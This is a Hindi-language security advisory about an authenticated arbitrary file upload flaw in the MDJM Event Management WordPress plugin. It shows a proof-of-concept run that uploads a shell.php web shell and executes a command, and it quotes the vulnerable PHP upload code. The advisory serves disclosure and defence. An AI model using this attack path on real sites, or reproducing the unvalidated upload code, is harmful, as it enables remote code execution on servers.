
MDJM Event Management <= 1.7.8.3 - प्रमाणित (व्यवस्थापक+) 'mdjm_email_upload_file' पैरामीटर के माध्यम से मनमाना फ़ाइल अपलोड
वर्डप्रेस MDJM Event Management प्लगइन (संस्करण 1.7.8.3 और उससे पहले) में एक मनमाना फ़ाइल अपलोड भेद्यता है जो प्रमाणित व्यवस्थापकों को सर्वर पर दुर्भावनापूर्ण PHP फ़ाइलें अपलोड करने की अनुमति देती है, जिससे संभावित रूप से रिमोट कोड निष्पादन हो सकता है।
एक POC CVE-2026-7537.py प्रदान किया गया है जो एक प्रमाणित हमलावर द्वारा shell.php अपलोड करने और रिमोट कोड निष्पादित करने को प्रदर्शित करता है:
python3 ./CVE-2026-7537.py http://target-site.com admin password123
[+] Logging into: http://target-site.com/wp-admin
[+] Extracting nonce values...
[+] Uploading web shell: shell.php
[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php
[+]
[+] Executing test command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
यह भेद्यता संचार सुविधा के mdjm_send_comm_email() फ़ंक्शन में मौजूद है। अपलोड कार्यक्षमता में ईमेल संचार के लिए फ़ाइल अनुलग्नकों को संसाधित करते समय उचित फ़ाइल सत्यापन का अभाव है। यह क्षमता वाले प्रमाणित उपयोगकर्ताओं (डिफ़ॉल्ट रूप से व्यवस्थापक और MDJM व्यवस्थापक) को मनमानी फ़ाइलें अपलोड करने की अनुमति देता है, जिसमें PHP फ़ाइलें भी शामिल हैं जिन्हें सर्वर पर निष्पादित किया जा सकता है।
mdjm_comms_sendस्रोत: उपयोगकर्ता इनपुट $_FILES['mdjm_email_upload_file'] से
सिंक: move_uploaded_file($tmp_path, $file_path) comms-functions.php#L248 पर
यह भेद्यता निम्नलिखित कारणों से होती है:
send_comms क्षमता वाले उपयोगकर्ताओं के लिए comms-functions.php#L24 के माध्यम से सुलभ है।mdjm_comms_send क्षमता manage_mdjm अनुमति वाले उपयोगकर्ताओं को class-mdjm-permissions.php#L626 के माध्यम से प्रदान की जाती है।mdjm_comms_send नहीं है - केवल व्यवस्थापकों के पास है।mdjm_process_actions() फ़ंक्शन के माध्यम से संसाधित किए जाते हैं।mdjm_send_comm_email() फ़ंक्शन को ट्रिगर करती है।$_FILES['mdjm_email_upload_file'] से उपयोगकर्ता-नियंत्रित फ़ाइल डेटा को comms-functions.php#L241-L251 पर बिना सत्यापन के सीधे संसाधित किया जाता है।move_uploaded_file() का उपयोग करके वर्डप्रेस अपलोड निर्देशिका (/wp-content/uploads/YYYY/MM/) में सहेजा जाता है।if ( isset( $_FILES['mdjm_email_upload_file'] ) && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
$upload_dir = wp_upload_dir();
$file_name = $_FILES['mdjm_email_upload_file']['name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
$file_path = $upload_dir['path'] . '/' . $file_name;
$tmp_path = $_FILES['mdjm_email_upload_file']['tmp_name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
if ( move_uploaded_file( $tmp_path, $file_path ) ) {
$attachments[] = $file_path;
}
}